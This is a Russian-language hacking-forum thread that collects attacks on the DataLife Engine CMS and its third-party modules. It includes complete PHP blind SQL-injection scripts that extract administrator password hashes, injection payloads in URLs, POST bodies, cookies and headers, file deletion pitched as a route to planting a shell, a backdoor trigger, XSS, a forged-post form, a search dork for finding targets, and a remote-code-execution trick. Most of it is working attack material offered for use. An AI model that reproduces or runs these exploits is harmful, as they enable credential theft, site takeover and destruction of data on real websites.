Старый 03.07.2010, 00:43   #1
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию Уязвимости DataLife Engine и модулей

SQL-inj в неофициальном модуле files (файловый архив)

уязвимость после order by в параметре orderby
Пример запроса:
Код:
http://site/index.php?do=files&op=cat&id=1&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+0,1),1,1))+between+0+and+0,url,(select%201%20from%20dle_downloads))+--+
Эксплоит:
PHP код:
<?php
set_time_limit
(0);
/*-----------------------------------------------------*/ 
//Эксплойт для модуля Files(модуль файлового архива) к DLE
//Автор: H00K
/*-----------------------------------------------------*/ 

/*-----------------Настройки---------------------------*/ 
$host="site";//указываем хост
$catid "38";//Указываем id существующей категории
$userid "0";//Указываем id администратора
/*-----------------------------------------------------*/ 

$good "MySQL Fatal Error";
$bad "Архив файлов";
$path="/index.php?do=files&op=cat&id={$catid}&orderby=if(ord(substring((select+password+from+dle_users+where+user_group=1+limit+{$userid},1),";
$end ",(select%201%20from%20dle_downloads),url)+--+";
$index 1;
$result "";

function 
GetMiddle($min$max)
{
 return 
floor($min+((($max+1)-($min-1))/2));
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
CheckSQL($host$path$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
CheckSQL($host$path$index.",1))={$max}"))
  {
    
$result .=chr($max);
  } else
  {
   if(
CheckSQL($host$path$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

function 
CheckSQL ($host$path$st)
{   global 
$end;
    
$line="";
    
$fo fsockopen($host80$errno$errstr30);
    if(!
$fo){die ("no connect");}
    else 
    { 
       
$headers="GET ".$path.$st.$end." HTTP/1.1\r\n";
       
$headers.="Host: ".$host."\r\n";
       
$headers.="Connection: Close\r\n\r\n";    
       global 
$good;
       global 
$bad;
        
fwrite($fo$headers);
        while (!
feof($fo))
        {
            
$line fgets($fo512);
            if (
strpos($line,$good)) 
            {
             
fclose($fo);
             return 
true;
            }
            if (
strpos($line,$bad))
            {
             
fclose($fo);
             return 
false;
            }
        }
        
fclose($fo);
    }
    return 
false;
}
if (
CheckSQL($host$path$index.",1))+between+1+and+255")) 
 echo (
" Идет подбор символов...<br>"); else  die("Ошибка");
 
for (
$i=0;$i<32;$i++)
{
 
$min 31;
 
$max 123;
 
$ok true;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
CheckSQL($host$path$index.",1))+between+1+and+{$num}")) 
  {
 echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
  echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}
echo 
$result;
?>

Последний раз редактировалось I-I00K; 07.07.2012 в 20:43..
I-I00K вне форума   Ответить с цитированием
Старый 03.07.2010, 00:43   #2
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

SQL-inj в неофициальном модуле gallery, в параметре news_sort
Уязв.код (news_sort) :
show_cat.php
PHP код:
if ( isset($_POST['news_sort']) ) $galConfig['news_sort'] = mysql_escape_string($_POST['news_sort']); elseif ($gal_cat[$category_id]['news_sort'] != ""$galConfig['news_sort'] = $gal_cat[$category_id]['news_sort'];
if ( isset(
$_POST['news_msort']) ) $galConfig['news_msort'] = mysql_escape_string($_POST['news_msort']); elseif ($gal_cat[$category_id]['news_msort'] != ""$galConfig['news_msort'] = $gal_cat[$category_id]['news_msort'];

if (
$galConfig['user_cats_limit']) $sear "(" PREFIX "_gal_cat.cat_status = '0' OR " PREFIX "_gal_cat.cat_status = '2') AND " PREFIX "_gal_pic.approve='1'"; else $sear "" PREFIX "_gal_cat.cat_status = '0' AND " PREFIX "_gal_pic.approve='1'";

$result $db->query("SELECT " PREFIX "_gal_pic.*, " PREFIX "_gal_cat.cat_title, cat_alt_name, allow_rating, allow_comm FROM " PREFIX "_gal_pic LEFT JOIN " PREFIX "_gal_cat ON " PREFIX "_gal_pic.pic_cat_id=" PREFIX "_gal_cat.cat_id WHERE " PREFIX "_gal_cat.cat_alt_name='$category' AND $sear AND " PREFIX "_gal_cat.cat_view_level regexp '[[:<:]]($member_id[user_group])[[:>:]]' ORDER BY ".$galConfig['news_sort']." ".$galConfig['news_msort']." LIMIT $cstart$lim"); 
Как видим данные из news_sort попадают в функцию mysql_escape_string, но так как в запросе данные не обрамляются кавычками, эта функция никаким образом не помешает проведению sql инъекции

Пример запроса:
Код:
POST /index.php?do=gallery&action=show_cat&category=gorod HTTP/1.1
Host: site
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
news_sort=if(ord(substring((select password from dle_users where user_id=1),1,1))>4,(select 1 from dle_usergroups),0)&news_msort=DESC
Exploit:
PHP код:
<?php
 set_time_limit
(0);
 
/*-----------------------------------------------------*/ 
//Эксплойт для неофициального модуля Gallery для DLE
//Автор: l-l00K
/*-----------------------------------------------------*/  

/*-----------------Настройки---------------------------*/  
 
$good "MySQL Fatal Error";
 
$bad "robots";
 
$host"site";//указываем сайт
 
$path="/index.php?do=gallery&action=show_cat&category=gorod";//Указываем существующую категорию
 
$body "news_sort=if(ord(substring((select password from dle_users where user_id=1),";
 
$index 1;
 
$result "";
 
$end ",(select 1 from dle_usergroups),0)&news_msort=DESC";
 
 function 
GetMiddle($min$max)
 {
  return 
floor($min+((($max+1)-($min-1))/2));
 }
 
 function 
post_sql($host,$path,$post_body)
 {
 global 
$end;
 
$post_body  .= $end;
 
$post_query  "POST ".$path." HTTP/1.1\r\n";
 
$post_query .= "Host: ".$host."\r\n";
 
$post_query .= "Connection: close\r\n";
 
$post_query .= "Content-Type: application/x-www-form-urlencoded\r\n";
 
$post_query .= "Content-length: " strlen($post_body) . "\r\n\r\n";
 
$post_query .= $post_body;

 
$sock fsockopen($host80$errno$errstr30);
 
 if (!
$sock) die('Could not connect to host! ');

 
fputs($sock$post_query);
 global 
$good;
 global 
$bad;
 
$answer '';
 while (!
feof($sock)) {
    
$answer .= fgets($sock1024);
    if (
strpos($answer,$good)) 
    {
     
fclose($sock);
     return 
true;
    }
    if (
strpos($answer,$bad))
    {
      
fclose($sock);
      return 
false;
    }
 }
 
fclose($sock);
 return 
false;
}

function 
Check($min,$max)
{
 if ((
$max-$min)<=2)
  {
  global 
$index;
  global 
$result;
  global 
$host;
  global 
$path;
  global 
$body;
  echo 
"Символ найден: ";
  if ((
$max-$min)==1)
  if (
post_sql($host$path$body.$index.",1))={$max}")) 
   
$result .=chr($max); else $result .=chr($min);
  if ((
$max-$min)==2)
  {
  if (
post_sql($host$path$body.$index.",1))>{$max}-1"))
  {
    
$result .=chr($max);
  } else
  {
   if(
post_sql($host$path$body.$index.",1))={$max}-1"))
    
$result .=chr($max-1); else $result .=chr($min);  
  }
  }
   echo 
substr($result,strlen($result)-1)."<br>";
   
flush();
   
$index++;
    return 
true;
  } else return 
false;
}

$bool true;
while (
$bool==true)
{
 if (
post_sql($host$path$body.$index.",1))>0")) 
 {
  echo (
"Символ есть, идет подбор...<br>");
  
flush();
  
$ok true;
 }
 else 
 {
 echo (
"Символы кончились <br>");
  
$ok false;
  
$bool false;
  echo 
$result;
 }
 
$min 31;
 
$max 123;
 while (
$ok == true)
 {
  
$num GetMiddle($min,$max);
  if (!
check($min,$max))
  {
  if (
post_sql($host$path$body.$index.",1))<{$num}")) 
  {
   echo(
"Меньше $num <br>");
   
$max $num;
  } else
  {
   echo (
"Больше $num <br>"); 
   
$min $num;
  } 
  
flush();
 } else 
$ok false;
 } 
}

?>

Последний раз редактировалось I-I00K; 07.07.2012 в 20:43..
I-I00K вне форума   Ответить с цитированием
Старый 03.07.2010, 00:44   #3
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

Sql-inj в неофициальном модуле Tags
Фрагмент уязвимого кода :
tags.tag.php
PHP код:
$story explode("/"urldecode($_REQUEST['name']));
$story reset($story);
if(
$confmt['urlcode'] == "translit") {
$sql $db->super_query("SELECT original FROM " PREFIX "_tags_replace WHERE repl = '{$story}'"); 
Как видим данные из $_REQUEST['name'] попадают в запрос, без каких-либо преобразований.

Пример запроса:
Код:
POST /dle/ HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127  MRA 5.5 (build 02842);
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 195
do=tag&name=%2527 union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users LIMIT 0,1),1,64),floor(rand(0)*2)) --
I-I00K вне форума   Ответить с цитированием
Старый 03.07.2010, 00:44   #4
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию

Sql-inj в неофициальном модуле toWeb Online
Фрагмент уязвимого кода :
online.php
PHP код:
if ($_SERVER['HTTP_X_FORWARDED_FOR']) $ip $_SERVER['HTTP_X_FORWARDED_FOR'];
...
// Проверяем, учтен ли уже посетитель
$res $db->query("SELECT `last` from `".PREFIX."_online` WHERE `ip` = '".$ip."'"); 
Данные из $ip попадают в запрос, без каких-либо преобразований.

Пример запроса:
Код:
GET / HTTP/1.1
Host: site.com
X_FORWARDED_FOR: ' union select count(*) from (select 1 union select 2 union select 3)x group by concat(mid((SELECT concat(name,0x3a,password) FROM dle_users where user_group=1  LIMIT 0,1),1,64),floor(rand(0)*2)) -- .
I-I00K вне форума   Ответить с цитированием
Старый 06.07.2010, 10:09   #5
wildshaman
 
Аватар для wildshaman
 
Регистрация: 05.07.2010
Сообщений: 29
Репутация: 10
По умолчанию

Версия ДЛЕ: 8.5 (скорее всего, и преыдущие, но тестил именно на 8.5)


Везде далее:
1){ВАШ ЮЗЕР ХЕШ} - уникальный хеш, который вы получаете при входе в дадминку. Как правило, при переходе по страницам админки он передается гетом в урле, там его и берите. Или же заходите на страницу настроек, к примеру, и ищите в коде user_hash - там он и будет
2)лишние куски кода удалены, оставлены только самые важные, играющие роль при уязвимости.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Удаление произвольных файлов
Зависимость: Нужны админские права
Файл: /engine/inc/files.php
Кусок кода:
PHP код:
if( $action == "doimagedelete" ) {
    foreach ( 
$_POST['images'] as $image ) {
        @
unlink$config_path_image_upload $image );
        @
unlink$config_path_image_upload "thumbs/" $image );
    }

Как осуществить:
Залогинившись админом, послать post запрос:
http://site.com/admin.php?mod=files

images%5Bboxsmall.jpg%5D=../uploads/files/.htaccess&action=doimagedelete&userdir=&user_hash= {ВАШ ЮЗЕР ХЕШ}

Смысл:
1) Можно удалить .htaccess из папки uploads, загрузить туда шелл и видеть его из веба
2) Можно помешать работе сайта, удалив важыне файлы.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие префикса БД.
Зависимость: Права журналиста или администратора (любой доступ в админку)
Файл: /engine/inc/files.php
Кусок кода:
PHP код:
$serverfile trimhtmlspecialcharsstrip_tags$_POST['serverfile'] ) ) );
$image_name $serverfile;
if( 
$config['files_allow'] == "yes" and $user_group[$member_id['user_group']]['allow_file_upload'] and $_REQUEST['action'] == "quick" and (in_arraystrtolower$type ), $allowed_files ) or $serverfile != '') )
$db->query"INSERT INTO " PREFIX "_files (news_id, name, onserver, author, date) values ('$news_id', '$image_name', '{$file_prefix}{$image_name}', '$author', '$added_time')" ); 
Как осуществить:
Залогинившись админом, послать post запрос:
http://hackhack/admin.php?mod=files&action=quick&subaction=upload

images_number=1&serverfile=\

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Получение названия загруженного файла (шелла, к примеру) через форму заливки
Зависимость: Права админа или журналиста с разрешением аливать файлы чреез админку
Файл: /admin.php?mod=files
Кусок кода:
PHP код:
$file_prefix time() + rand1100 );
$file_prefix .= "_";
@
copy$imageurlROOT_DIR "/uploads/files/" $file_prefix $image_name 
Ага, пишется: unixtime+{случайное число от 1 до 100}_названиефайлачтомывыгр зили

Отсылаем файл, снифаем, что вернул сервер:
Date: Mon, 14 Jun 2010 07:35:04 GMT

делаем себе
PHP код:
for($i=0$i<=100$i++)
{
    
$name=strtotime("Mon, 14 Jun 2010 07:35:04 GMT")+$i;
    echo 
$name."<br>";

Генерируем все возможные нвазвания нашего файла, потом просто перебираем их.

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: Blind-sql
Зависимость: magic_quotes_gpc = off и админские права
Файл: /engine/ajax/clean.php
Кусок кода:
PHP код:
if ($_REQUEST['step'] == 2) {
    if ((@
strtotime($_REQUEST['date']) === -1) OR (trim($_REQUEST['date']) == ""))
        
$_REQUEST['step'] = 1;
    else {
        
$_REQUEST['step'] = 3;
        
$sql $db->query("SELECT id FROM " PREFIX "_post WHERE date < '{$_REQUEST['date']}'");
        while(
$row $db->get_row($sql)){
            
$db->query("DELETE FROM " PREFIX "_comments WHERE post_id='{$row['id']}'"); 
Как осуществить:
http://site.com/engine/ajax/clean.php?date=1'&user_hash={ВАШ ЮЗЕР ХЕШ}&step=2

P.S. Обыная скуля с юнионом не пройдет, так как полученная инфа сразу уходит в DELETE Кому надо - тот докрутит

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Версии ДЛЕ ДО 8.5
Описание: редактирование настроек системы, имея лишь ограниченный (модерский) доступ в админку
Зависимость: Доступ в админку хотя бы с правами журналиста
Файл: /engine/inc/options.php
Кусок кода:
PHP код:
elseif( $action == "dosavesyscon" ) {
    $save_con = $_POST['save_con'];
    $save_con['offline_reason'] = $parse->process( stripslashes( trim( $save_con['offline_reason'] ) ) );
    $save_con['offline_reason'] = str_replace( '"', '&quot;', $parse->BB_Parse( $save_con['offline_reason'], false ) );
    
    $find[] = "'\r'";    $replace[] = "";    $find[] = "'\n'";    $replace[] = "";
    $handler = fopen( ENGINE_DIR . '/data/config.php', "w" );
    
    fwrite( $handler, "<?PHP \n\n//System Configurations\n\n\$config = array (\n\n" );
    
foreach ( $save_con as $name => $value ) {
        if( 
$name != "offline_reason" ) {
            
$value trimstripslashes$value ) );
            
$value htmlspecialchars$value);
            
$value preg_replace$find$replace$value );
            
            
$name trimstripslashes$name ) );
            
$name htmlspecialchars$nameENT_QUOTES );
            
$name preg_replace$find$replace$name );
        }

        
fwrite$handler"'{$name}' => \"{$value}\",\n\n" );
    
    }
    
fwrite$handler");\n\n?>" );
    
fclose$handler );
}
Как осуществить:
Авторизовавшись в админке, делаем POST запрос
http://site.com/admin.php?mod=options&action=syscon
save_con%5Bhome_title%5D=GREAT HACK HOHOHOH&mod=options&action=dosavesyscon&user_hash= {ВАШ ЮЗЕР ХЕШ}

причем настроек поменять можно множество вплоть до оотключения сайта

---------------------------------------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------------------------------------

Описание: раскрытие путей
1) Требуется админка
http://site.com/admin.php?mod=static&search_field[]=

2) Админка не требуется, праа Юзерские

http://site.com/?do=addnews
POST
tags[]=1&mod=addnews


http://site.com/index.php
POST
login=submit&login_password[]=1

---------------------------------------------------------------------------------------------------------------------------------------------------
(c) wildshaman 2010.
__________________
Cool story, bro

http://imgur.com/7I5sJ.jpg
wildshaman вне форума   Ответить с цитированием
Старый 06.07.2010, 10:11   #6
wildshaman
 
Аватар для wildshaman
 
Регистрация: 05.07.2010
Сообщений: 29
Репутация: 10
По умолчанию

Все версии Модуля "Кто онлайн"

Описание: blind-sql в модуле "кто онлайн"
Зависимость: magic_quotes = off
Файл: /engine/modules/online.php
Кусок кода:
PHP код:
if (isset($_COOKIE['dle_onl_session'])) $onl_session $_COOKIE['dle_onl_session']; else $onl_session session_id();
$onl_query["search_us"]="SELECT COUNT(*) as count FROM " PREFIX "_online WHERE session='{$onl_session}'";
$onl_count_user $db->super_query($onl_query["search_us"]); 
Как использовать:
Cookie:
Код:
dle_onl_session=1'+or(1,1)=(select+count(0),concat((select+concat_ws(0x3a,name,password)+from+dle_users+where+user_group=1+limit+0,1),floor(rand(0)*2))from(information_schema.tables)group+by+2)--+
__________________
Cool story, bro

http://imgur.com/7I5sJ.jpg
wildshaman вне форума   Ответить с цитированием
Старый 06.07.2010, 21:46   #7
wildshaman
 
Аватар для wildshaman
 
Регистрация: 05.07.2010
Сообщений: 29
Репутация: 10
По умолчанию

Модуль Hide v.4.2 для DLE
Описание: выполнение произвольного кода (бекдор оставил автор)
Зависимость: аккаунт юзера
Файл: engine/modules/hide_news.php
Кусок кода:
PHP код:
if(md5(md5($_GET['conf_key'])) == $sets['key']){ eval(base64_decode($_GET['user_id'])); } 
key записывается в конфиге после любого изменения настроек модуля в админке, причем строго указан - d5bb5b454e4310d06746d9325b1c1968

Как осуществить:
http://site.com/?newsid=XXXX&conf_key=fibona4i&user_id=cGhwaW5mbyg pOw==
Где XXX - айди существующей новости, а user_id - забейсенный php код (в данном случае пхпинфо)

DLE forum 2.5 (дырявый, как сито)
Описание: sql-инъекция
Зависимость: register_globals = on
Файл: engine/forum/sources/showtopic.php
Кусок кода:
PHP код:
if (intval($tid))
$row_topic $db->super_query("SELECT * FROM " PREFIX "_forum_topics WHERE tid = $tid"); 
Как осуществить:
http://site.com/?do=forum&act=topic&tid=1+[SQL]
__________________
Cool story, bro

http://imgur.com/7I5sJ.jpg
wildshaman вне форума   Ответить с цитированием
Старый 09.07.2010, 16:41   #8
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию XSS в модуле DLE Forum 2.1

XSS в модуле DLE Forum 2.1

Код:
http://site/dle-forum.php?status_report=<script>alert(/XSS/)</script>
Работает если админ забыл удалить файл dle-forum.php после установки. (Установщик даже не предупреждает о том, что хорошо бы это сделать )

З.Ы.
Гуглом ищутся по запросу:

intitle:"Работает на DLE Forum"

Ещё забавную багу нашёл в модуле DLE Forum 2.1


Возможность отправки сообщений от имени произвольного пользователя (можно несуществующего):

Создайте страничку со следующим кодом:
Код:
<form method="POST" action="http://site/?do=forum&act=post&code=reply&code=01">
 Forum ID: <input type="text" name="forum_id" value="2"><br/>
 Topic ID: <input type="text" name="topic_id" value="1"><br/>
 Post ID: <input type="text" name="post_id" value="3"><br/><!-- Не допёр нафига это передавать, но кажется должно быть уникальным -->
 Text: <input type="textarea" name="post_text" value="This Is Sample Text..."><br/>  
 UserName: <input type="text" name="name" value="SuperAdmin"><br/><!-- Вписываем что хотим -->
 UserMail: <input type="text" name="mail" value="Billy@mail.xx"><!-- Вписываем что хотим -->
 <input type="submit">
</form>
Ну и по комментариям сориентируетесь. Если уже залогинены на форуме, не забудьте почистить куки, иначе значение имени пользователя возьмётся из них.

Blind SQL Injection в в модуле DLE Forum 2.1:

На самом деле там две инъекции, в 2х запросах выполняющихся подряд, т.е. одна из ошибок бкдет отображаться в любом случае.

Для выполнения, нужно залогиниться.

Для начала нужно добавить иньекцию в БД

Примеры:
Код:
http://site/?do=forum&act=subscription&code=add&tid=-1 UNION SELECT 1,BENCHMARK(100000,md5(current_time)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 --
Код:
http://site/index.php?do=forum&act=subscription&code=add&tid=-1 OR tid=(SELECT 1 UNION SELECT 2) --
Затем, для её выполнения нужно обратиться по адресу:
Код:
http://site/index.php?do=forum&act=subscription
При написании неудачного запроса, его нужно удалить командой: (это важно!)

Код:
http://test2.ru/?do=forum&act=subscription&code=del&tid=[SQL]
Символ кавычки мне вставить в запрос не удалось, но можно обойтись и без него, если воспользоваться методами из: http://forum.antichat.ru/thread43966.html

З.Ы.
Сорри, что не добил скуль до конца, времени не хватает, но это возможно.


Вот ещё нашёл в модуле DLE Forum 2.1:



Уничтожить некоторые таблицы форума и узнать префикс к таблицам в БД, можно так:

Удалил т.к. то, что побочно уничтожается БД, заметил после публикации уязвимости, думаю неэтично такое выкладывать в паблик..

Уязвимость присутствует, если забыли удалить файл dle-forum.php. В дикой природе встречается ~ в 20-30% случаев.

Безопасно посмотреть префикс к таблицам БД можно так:
Код:
http://site/dle-forum.php?action=upgrade
Qwazar вне форума   Ответить с цитированием
Старый 09.07.2010, 16:45   #9
Qwazar
 
Регистрация: 09.07.2010
Сообщений: 376
Репутация: 154
По умолчанию DLE mChat v. 2.0

SQL Injection в в модуле DLE mChat v. 2.0:

Нашёл в админке, и после ORDER BY, наверное бесполезная, но:

Код:
http://site/admin.php?mod=mchat&start_from=SQL
И вот ещё, ругнётся на следующий запрос (первый символ должен быть цифрой):

Код:
http://site/admin.php?mod=mchat&mchat_per_page=1SQL
Зачем может понадобиться, не знаю, ну разве только чтобы выяснить префикс к таблицам.
Qwazar вне форума   Ответить с цитированием
Старый 07.07.2012, 20:39   #10
I-I00K
 
Регистрация: 01.07.2010
Сообщений: 31
Репутация: 55
По умолчанию TWS Forum RCE

Форум имеет тонкую интеграцию в движок, использует единую базу данных, настройки групп, а так же некоторые настройки движка.
Версия: 1.2 - 1.7.1 и возможно выше (1.7.1 последняя версия на момент нахождения уязвимости)
Уязвимость в файле: \engine\forum\ajax\editpost.php
PHP код:
    $post_txt preg_replace ("'\[hide\](.*?)\[/hide\]'si","\\1"$post_txt);
    
$post_txt preg_replace"#\[hide=([^\]]+)\](.+?)\[/hide\]#ies""\\2"$post_txt); 
Для выполнения кода необходимо: зарегистрироваться, написать пост, затем его отредактировать в "Быстром режиме", с указанием кода который нужно выполнить ввиде:
Код:
[hide=123]phpinfo()[/hide]
Чтоб узнать подходит ли форум для эксплуатации этой уязвимости достаточно обратиться к файлу \engine\forum\ajax\editpost.php, если в результате мы получим надпись error, значит версия форума выше чем 1.1, если этот файл будет отсутствовать значит версия форума ниже чем 1.2
@ 2009

Последний раз редактировалось I-I00K; 07.07.2012 в 20:45..
I-I00K вне форума   Ответить с цитированием
Ответ

Метки
datalife, dle, даталайф

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра
Комбинированный вид Комбинированный вид

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot